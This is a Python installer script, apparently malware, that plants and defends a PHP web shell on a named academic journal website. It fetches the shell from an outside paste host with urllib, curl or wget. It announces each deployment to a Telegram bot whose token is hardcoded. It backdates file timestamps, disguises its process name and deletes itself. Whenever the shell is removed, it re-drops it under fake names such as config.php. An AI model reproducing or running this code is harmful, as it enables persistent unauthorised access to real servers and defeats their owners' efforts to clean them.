#!/usr/bin/env python3
import os
import sys
import time
import random
import hashlib
import urllib.request
import urllib.parse
import subprocess
import shutil
from datetime import datetime

# ───── CONFIG HARDCODE ─────
DOMAIN = "https://ejournal.akbidyo.ac.id/".strip()
BASE_DIR = "/home/info3416/public_html/akbidyo.ac.id/ejournal.akbidyo.ac.id"

CONFIG = {
    "RAW_SHELL_URL": "https://hxbdoor.one/raw/gF6nmNGj".strip(),
    "BOT_TOKEN": "8565777104:AAEIgx7PZtQZOgI0uzBTzJ6ju0ma25kshQc".strip(),
    "CHAT_ID": "-1003435622135",
    "MESSAGE_THREAD_ID": "2",
    "SHELL_NAME": "favicon.php",
    "FAKE_NAMES": [
        "templaters.php", "config.php", "conf.php", "database.php",
        "settings.php", "temps.php", "utils.php", "quarter-sql.php", "flaticon.php"
    ],
    "TIMEOUT": 10,
    "POLL_INTERVAL": 2
}

SHELL_PATH = os.path.join(BASE_DIR, CONFIG["SHELL_NAME"])
current_shell_path = SHELL_PATH
current_shell_hash = None
last_redeploy_time = 0
redeploy_cooldown = 10


# ───── HELPER FUNCTIONS ─────
def get_file_hash(path):
    try:
        h = hashlib.sha256()
        with open(path, 'rb') as f:
            chunk = f.read(8192)
            while chunk:
                h.update(chunk)
                chunk = f.read(8192)
        return h.hexdigest()
    except:
        return None


def download_shell(target_path):
    for method in [download_urllib, download_curl, download_wget]:
        try:
            if method(target_path):
                if os.path.getsize(target_path) > 0:
                    os.chmod(target_path, 0o444)
                    return True
        except:
            continue
    return False


def download_urllib(target_path):
    with urllib.request.urlopen(CONFIG["RAW_SHELL_URL"], timeout=CONFIG["TIMEOUT"]) as r:
        content = r.read()
    with open(target_path, 'wb') as f:
        f.write(content)
    return True


def download_curl(target_path):
    if not shutil.which("curl"):
        return False
    result = subprocess.run(
        ["curl", "-fsL", "-o", target_path, CONFIG["RAW_SHELL_URL"]],
        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=CONFIG["TIMEOUT"] + 2
    )
    return result.returncode == 0


def download_wget(target_path):
    if not shutil.which("wget"):
        return False
    result = subprocess.run(
        ["wget", "-q", "-O", target_path, CONFIG["RAW_SHELL_URL"]],
        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=CONFIG["TIMEOUT"] + 2
    )
    return result.returncode == 0


def kirim_telegram(message):
    url = f"https://api.telegram.org/bot{CONFIG['BOT_TOKEN']}/sendMessage"
    data = {
        "chat_id": CONFIG["CHAT_ID"],
        "parse_mode": "Markdown",
        "text": message
    }
    if CONFIG["MESSAGE_THREAD_ID"]:
        data["message_thread_id"] = CONFIG["MESSAGE_THREAD_ID"]
    try:
        req = urllib.request.Request(
            url,
            data=urllib.parse.urlencode(data).encode('utf-8'),
            method='POST',
            headers={"User-Agent": "Mozilla/5.0"}
        )
        with urllib.request.urlopen(req, timeout=CONFIG["TIMEOUT"]) as resp:
            return resp.getcode() == 200
    except:
        return False


def get_oldest_file_timestamp(directory):
    try:
        files = []
        for root, _, filenames in os.walk(directory):
            for f in filenames:
                fp = os.path.join(root, f)
                if os.path.isfile(fp):
                    files.append(fp)
        if not files:
            return datetime.now().strftime('%Y-%m-%d %H:%M:%S')
        oldest = min(os.path.getmtime(f) for f in files)
        return datetime.fromtimestamp(oldest).strftime('%Y-%m-%d %H:%M:%S')
    except:
        return datetime.now().strftime('%Y-%m-%d %H:%M:%S')


def get_relative_path(file_path):
    try:
        base = BASE_DIR.rstrip("/") + "/"
        if file_path.startswith(base):
            rel = file_path[len(base):]
            return rel.replace(os.sep, "/")
        return os.path.basename(file_path)
    except:
        return os.path.basename(file_path)


def auto_touch(path, timestamp_str):
    try:
        ts = datetime.strptime(timestamp_str, '%Y-%m-%d %H:%M:%S').timestamp()
    except:
        ts = time.time()
    try:
        os.utime(path, (ts, ts))
    except:
        pass


def selamatkan_shell(trigger="unknown"):
    global current_shell_path, current_shell_hash, last_redeploy_time
    now = time.time()
    if now - last_redeploy_time < redeploy_cooldown:
        return
    try:
        valid_dirs = []
        for root, dirs, _ in os.walk(BASE_DIR):
            dirs[:] = [d for d in dirs if d.lower() != 'cgi-bin']
            valid_dirs.append(root)
        if not valid_dirs:
            target_dir = BASE_DIR
        else:
            target_dir = random.choice(valid_dirs)

        random_name = random.choice(CONFIG["FAKE_NAMES"])
        new_path = os.path.join(target_dir, random_name)

        if download_shell(new_path):
            current_shell_path = new_path
            current_shell_hash = get_file_hash(new_path)

            relative_url = get_relative_path(new_path)
            url = f"{DOMAIN}/{relative_url}"
            timestamp = get_oldest_file_timestamp(target_dir)

            try:
                with urllib.request.urlopen("https://api.ipify.org", timeout=CONFIG["TIMEOUT"]) as r:
                    ip = r.read().decode().strip()
            except:
                ip = "unknown"

            msg = f"""⚠️ *Shell Already Deploy Boss! \\(Trigger: {trigger}\\)*
📁 Path: `{new_path}`
🌍 URL: {url}
🌐 IP: `{ip}`
🕒 Time: `{timestamp}`"""
            kirim_telegram(msg)
            auto_touch(new_path, timestamp)
            last_redeploy_time = now
    except:
        pass


def check_file_changes():
    global current_shell_path, current_shell_hash
    exists = os.path.isfile(current_shell_path)
    file_hash = get_file_hash(current_shell_path) if exists else None

    if not exists:
        selamatkan_shell(trigger="deleted")
    elif file_hash != current_shell_hash:
        selamatkan_shell(trigger="modified")


def deploy_shell():
    global current_shell_path, current_shell_hash
    if download_shell(SHELL_PATH):
        current_shell_path = SHELL_PATH
        current_shell_hash = get_file_hash(SHELL_PATH)
        relative_url = get_relative_path(SHELL_PATH)
        url = f"{DOMAIN}/{relative_url}"
        timestamp = get_oldest_file_timestamp(BASE_DIR)

        msg = f"""✅ *Shell Success Deploy Ketua!*
📁 Path: `{SHELL_PATH}`
🌍 URL: {url}
🕒 Time: `{timestamp}`"""
        kirim_telegram(msg)
        auto_touch(SHELL_PATH, timestamp)
        return True
    return False


def set_process_name(name="[kworker/0:1]"):
    try:
        with open("/proc/self/comm", "w") as f:
            f.write(name[:15])  # max 15 chars
    except:
        pass
    try:
        sys.argv[0] = name
    except:
        pass


def main():
    if not os.path.isdir(BASE_DIR):
        return False

    set_process_name("watchdog")

    if not deploy_shell():
        return False

    try:
        pid = os.fork()
        if pid > 0:
            time.sleep(1)
            try:
                if os.path.basename(__file__) == "installer.py" and os.path.isfile(__file__):
                    os.remove(__file__)
            except:
                pass
            sys.exit(0)
        else:
            os.setsid()
            sys.stdin.close()
            sys.stdout.close()
            sys.stderr.close()
            set_process_name("watchdog")
            while True:
                try:
                    check_file_changes()
                    time.sleep(CONFIG["POLL_INTERVAL"])
                except KeyboardInterrupt:
                    break
                except:
                    time.sleep(1)
    except Exception:
        try:
            set_process_name("watchdog")
            check_file_changes()
            time.sleep(1)
            if os.path.basename(__file__) == "installer.py" and os.path.isfile(__file__):
                try:
                    os.remove(__file__)
                except:
                    pass
            while True:
                check_file_changes()
                time.sleep(CONFIG["POLL_INTERVAL"])
        except:
            pass

    return True


if __name__ == "__main__":
    try:
        main()
    except SystemExit:
        raise
    except:
        pass